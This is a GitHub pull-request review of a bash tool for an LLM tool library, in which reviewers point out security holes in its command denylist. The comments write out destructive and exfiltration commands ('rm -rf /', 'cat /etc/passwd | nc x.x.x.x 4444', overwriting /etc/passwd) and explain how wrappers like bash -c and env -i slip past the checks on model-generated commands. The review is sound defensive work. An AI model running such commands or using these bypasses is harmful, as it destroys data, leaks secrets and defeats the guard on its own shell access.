feat: add bash tool #1056
Conversation
|
The PR description has been updated. Please fill out the template for your PR to be reviewed. |
planetf1
left a comment
There was a problem hiding this comment.
Thanks for the PR — the three-tier environment design (Static/Unsafe/LLMSandbox) follows code_interpreter cleanly, and reusing ExecutionResult is the right call.
Two security concerns need resolving before merge, plus a few smaller issues below.
UnsafeBashEnvironment validates argv but executes with shell=True
The safety checks parse the command with shlex.split() and inspect argv[0], then execute the original string with subprocess.run(command, shell=True, ...) (line 430). The shell processes the raw string, not the tokenised argv, so shell metacharacters bypass every check:
local_bash_executor("echo hi; rm -rf /")
# shlex.split → ['echo', 'hi;', 'sudo', 'rm', '-rf', '/']
# argv[0] = 'echo' — passes all checks
# shell runs: echo hi; rm -rf / ← both commands executeSame with redirects, pipes, and subshell substitution:
local_bash_executor("echo foo > /etc/passwd") # redirect, not a write_command
local_bash_executor("echo $(id)") # subshell, not in argv
local_bash_executor("cat /etc/passwd | nc x.x.x.x 4444") # exfilThe fix is to execute argv with shell=False. That way what you check is exactly what runs.
bash -c "..." isn't blocked
bash, sh, zsh etc. are in DANGEROUS_COMMANDS but only blocked when -i/--interactive/-l/-login appears. bash -c "sudo rm -rf /" passes:
shlex.split('bash -c "sudo rm -rf /"') → ['bash', '-c', 'sudo rm -rf /']
any(arg in ('-i', '--interactive', '-l', '-login') for arg in argv) # → FalseAny LLM-generated command can dodge the whole denylist with a bash -c "..." wrapper. test_safe_shell_commands_allowed intentionally locks this in as expected behaviour, so it would need updating too.
If you go the shell=False route above, you'd also want to block -c (and script-file arguments) on shell interpreters.
Other things worth fixing in the same pass:
BashEnvironment.__init__ accepts allowed_paths and stores it on self, but nothing in any of the three environment classes reads self.allowed_paths. Callers who pass it expecting path enforcement get nothing. Either wire it into the checks or drop the parameter.
LLMSandboxBashEnvironment validates working_dir statically but doesn't pass it to SandboxSession (line 552 — no working_dir arg). The Docker container runs with its own default cwd. bash_executor(cmd, working_dir="/project") silently ignores the restriction.
except subprocess.TimeoutExpired at line 569 is inside the llm-sandbox session block. llm-sandbox isn't subprocess, so this handler likely never fires — timeouts fall through to except Exception with a generic message. The interpreter.py pattern just uses except Exception as e and that's cleaner here.
The parse/validate preamble (shlex.split → empty check → three validator calls) is copy-pasted into all three execute() methods verbatim. Once the security issues are fixed, extracting it to BashEnvironment._validate() would make future changes a one-place edit.
docs/examples/tools/shell_example.py line 1: # pytest: unit, qualitative → should be # pytest: e2e, qualitative. unit is auto-applied by conftest and shouldn't be written explicitly; this example runs real subprocesses so e2e is the right tier.
Three unused imports in shell.py: tempfile, dataclass, Any — ruff will flag these as F401.
|
The Docker sandbox path ( The checks (lines 91–124) parse the command with ``` The Python docs cover this in the subprocess security considerations: pre-processing a string before passing it to a shell does not make it safe. The shell is the parser that matters. Two ways to fix this. Drop what direction would you plan to take? it feels like an unsafe bash execution is rather unsafe (though many tools do offer something). I wonder if it should not be allowed by default, and we need to be very clear on any limitations/security impact. |
|
Checking this against #1024 — the capability-UX integration (allow once / allow always, policy wiring through the harness) doesn't appear to be included. Intentional scope reduction, or planned as a follow-up? |
ajbozarth
left a comment
There was a problem hiding this comment.
Some feedback from Claude. Also note Nigel's follow-up comment on UnsafeBashEnvironment still stands.
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
I'll address it as a follow-up. |
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
ajbozarth
left a comment
There was a problem hiding this comment.
All major concerns from the prior round are addressed. A few non-blocking follow-ups inline.
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
|
LGTM from my side once Angelo's inline comments are addressed. Thanks for filing the follow-up issues too. |
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
Signed-off-by: Akihiko Kuroda <akihikokuroda2020@gmail.com>
|
Updates look good, but I still don't get a successful result in the llm example: for comparison, before the last commit this was the result: |
|
Here is my case. LLM generates command with "find". it doesn't find any file anyway but it doesn't say "error". :-) |
ajbozarth
left a comment
There was a problem hiding this comment.
FYI the example failed for me until I set DOCKER_HOST. The Python docker SDK (used by llm-sandbox) doesn't read Docker CLI contexts and defaults to /var/run/docker.sock. That works on Docker Desktop (which symlinks the socket there) but not on colima, podman, or rootless setups, where users hit a cryptic FileNotFoundError(2, 'No such file or directory') with no pointer to the real fix.
Not blocking, but might be worth a note in the example docstring or a clearer skip-reason.
@ajbozarth It seems out of scope for this example commenting about docker setup. |
|
@planetf1 Would you approve this? |
planetf1
left a comment
There was a problem hiding this comment.
Thanks for the PR, Aki! The shlex.split/shell=False foundation is the right approach, and the environment abstraction is clean. I do have three security findings that need addressing before merge, plus a few correctness issues.
BLOCKERs (must fix before merge)
env-chain bypass:env -i sudo whoamiandenv rm -rf /tmp/testboth pass through the denylist_check_working_dir_restrictionis fail-open: an unresolvableworking_dirsilently grants access to all paths/private/varinDANGEROUS_PATHSblocks Python's standard temp directories on macOS
Warnings
- Shell operator substring check produces false positives (
grep a&&b file.txtis blocked) - Several normal operations are incorrectly blocked:
git config -f,git clean --dry-run,cp -r,make -f - Double truncation marker in
_LocalBashEnvironment.execute() repr()in the sandbox Python wrapper breaks if any argv element is aPathobject
Suggestion
- Truncation test oracle is always true and doesn't actually validate truncation
Details in the inline comments.
| # Skip if this argument is the value for a preceding flag (space-separated) | ||
| # E.g., in "timeout -t 10 sudo", skip "10" (it's the value for -t) | ||
| # But don't skip "sudo" when the flag uses = notation (e.g., --kill-after=1) | ||
| if i > 1 and argv[i - 1] in flag_value_flags: |
There was a problem hiding this comment.
BLOCKER — env-chain bypass
The flag_value_flags skip here has a security gap. -i is in the set, so in env -i sudo whoami the loop reaches sudo at index 2, sees that argv[1] is -i (a value-taking flag), and skips it — sudo never gets checked against DANGEROUS_COMMANDS.
Verified:
_is_dangerous_command(["env", "-i", "sudo", "whoami"]) # → (False, "")A second path: rm isn't in DANGEROUS_COMMANDS at all (it's only caught when it's the top-level command), so env rm -rf /tmp/test also passes cleanly.
Suggested fixes:
- Remove
-i/--inputfromflag_value_flags—env(1)'s-itakes no value argument, so the skip is both wrong and dangerous here. - Add
"rm"toDANGEROUS_COMMANDSso it's caught regardless of how it's invoked. - Consider an explicit allowlist of safe wrapper commands (e.g.
timeout,nice,stdbuf) rather than implicitly permitting everything not inDANGEROUS_COMMANDS.
| except Exception: | ||
| # If we can't resolve, skip (might be a flag value) | ||
| pass | ||
| except Exception: |
There was a problem hiding this comment.
BLOCKER — fail-open in _check_working_dir_restriction
The outer except Exception: pass swallows any error that occurs while resolving working_dir itself and then falls through to return False, "" (line 384) — which means "no restriction violation found". So if working_dir is a non-existent or otherwise unresolvable path, all path checks are silently skipped and every write target is implicitly allowed.
The inner except Exception: pass (line 378) has the same problem: if a single argument path can't be resolved, the check is skipped rather than denied.
For a security control, fail-closed is the right default:
- Outer except:
return (True, "Cannot validate paths: working_dir is not resolvable") - Inner except:
return (True, f"Cannot validate path '{arg}'")— or at minimum log a warning and continue rather than silently skipping.
| "/var/www", | ||
| # macOS /private equivalents | ||
| "/private/etc", | ||
| "/private/var", |
There was a problem hiding this comment.
BLOCKER — macOS temp directories blocked by /private/var
"/private/var" in DANGEROUS_PATHS is too broad for macOS. On macOS, Path.resolve() rewrites /var/folders/… (the normal location returned by tempfile.mkdtemp()) to /private/var/folders/…, which matches this prefix and triggers the system-path block.
Verified on macOS with a fresh tempfile.TemporaryDirectory():
env = _LocalBashEnvironment(working_dir=tmpdir)
env.execute("touch test.txt") # → skipped=True, "write to a dangerous system path"The specific paths that need protecting under /private/var are log directories, web roots, and system databases — not the whole tree. Suggest replacing "/private/var" with narrower entries:
"/private/var/log",
"/private/var/www",
"/private/var/db",
"/private/var/root",| if arg in shell_operators: | ||
| return True, f"Shell operator '{arg}' is not allowed" | ||
| # Check for combined operators or operators within tokens | ||
| if any(op in arg for op in shell_operator_sequences): |
There was a problem hiding this comment.
Warning — shell operator substring false positive
The any(op in arg ...) check does substring matching, so a legitimate grep pattern like a&&b gets blocked even though && is part of the argument value, not a shell operator. The preceding block (line 106) already correctly handles standalone && tokens via arg in shell_operators.
_is_dangerous_command(["grep", "a&&b", "file.txt"])
# → (True, "Shell operator is not allowed") ← false positiveSince shlex.split with shell=False is already preventing shell expansion, the standalone token check on line 106 is the right level of defence here. The sequence check on line 109 could be removed or restricted to cases where the operator is at a word boundary.
| # Check for dangerous git operations | ||
| if cmd == "git": | ||
| # Check for --force flag on any git operation | ||
| if any("--force" in arg or arg == "-f" for arg in argv): |
There was a problem hiding this comment.
Warning — git -f / --force false positives (and a few others)
A handful of false positives here worth fixing:
-
Line 203 —
any("--force" in arg or arg == "-f" for arg in argv)uses substring matching for--forceand exact match for-f.git config -f myconfigis a routine read-only operation (-fmeans "use this config file"), but it's blocked. -
Line 211 —
any(("-f" in arg or "-d" in arg) for arg in argv)uses substring matching.-dis a substring of--dry-run, sogit clean --dry-run(a safe, read-only check) is blocked. Should use exact token matching (arg == "-f"orarg == "-d"). -
Lines 222–225 —
DANGEROUS_FLAGSincludes-rand--recursive, and this block fires forcp,mv, andmake.cp -r src dstandmake -f Makefile targetare completely standard operations.
All verified:
_is_dangerous_command(["git", "config", "-f", "myconfig"]) # blocked
_is_dangerous_command(["git", "clean", "--dry-run"]) # blocked
_is_dangerous_command(["cp", "-r", "src", "dst"]) # blocked
_is_dangerous_command(["make", "-f", "Makefile", "target"]) # blocked| stderr, stderr_truncated = _truncate_output(result.stderr.strip()) | ||
|
|
||
| # Append truncation warnings if needed | ||
| if stdout_truncated: |
There was a problem hiding this comment.
Warning — double truncation marker
_truncate_output already appends "\n[OUTPUT TRUNCATED]" to the string it returns (see its implementation). The caller here then checks the truncated bool and appends a second message "\n[Output truncated - stdout exceeded 10KB]", so both appear in the output.
Pick one: either have _truncate_output embed the message (and drop the caller-side append), or return a clean string + bool and let the caller do the formatting — but not both.
| python_wrapper = ( | ||
| "import subprocess\n" | ||
| "import sys\n" | ||
| f"result = subprocess.run({argv!r}, shell=False, cwd={sandbox_workdir!r}, " |
There was a problem hiding this comment.
Warning — repr() in sandbox Python wrapper is fragile
{argv!r} embeds the argv list as Python source. If any element is a Path object (plausible if a caller passes Path('/tmp/work') as a command argument), repr() produces PosixPath('/tmp/work'), which is a NameError when the generated script runs inside the sandbox.
Easiest fix — coerce to strings before embedding:
argv_strs = [str(a) for a in argv]
python_wrapper = (
...
f"result = subprocess.run({argv_strs!r}, shell=False, ..."
)A more robust alternative is to pass the command via an environment variable or stdin rather than embedding it as source, which sidesteps the escaping problem entirely.
| assert result.success is True | ||
| # Check that output was truncated | ||
| assert result.stdout is not None | ||
| assert "[OUTPUT TRUNCATED]" in result.stdout or len(result.stdout) < 30000 |
There was a problem hiding this comment.
Suggestion — truncation test oracle is always true
The or len(result.stdout) < 30000 arm is always satisfied for ~10 KB of truncated output, so the assertion never actually validates that truncation happened. The test passes even if _truncate_output returns the full untruncated content.
assert "[OUTPUT TRUNCATED]" in result.stdout or len(result.stdout) < 30000
# ↑ always true for 10 KB outputTighter oracle:
assert result.stdout is not None
assert len(result.stdout) <= MAX_OUTPUT_SIZE + len("\n[OUTPUT TRUNCATED]") + 50
assert "[OUTPUT TRUNCATED]" in result.stdout
Tool PR
Use this template when adding or modifying components in
mellea/stdlib/tools/.Description
This PR adds bash tool. It has a fixed set configuration. The UX configuration will be in a separate PR.
Implementation Checklist
Protocol Compliance
convert_function_to_toolworksIntegration
mellea/stdlib/tools/__init__.pyor, if you are adding a library of components, from your sub-moduleTesting
tests/stdlib/tools/Attribution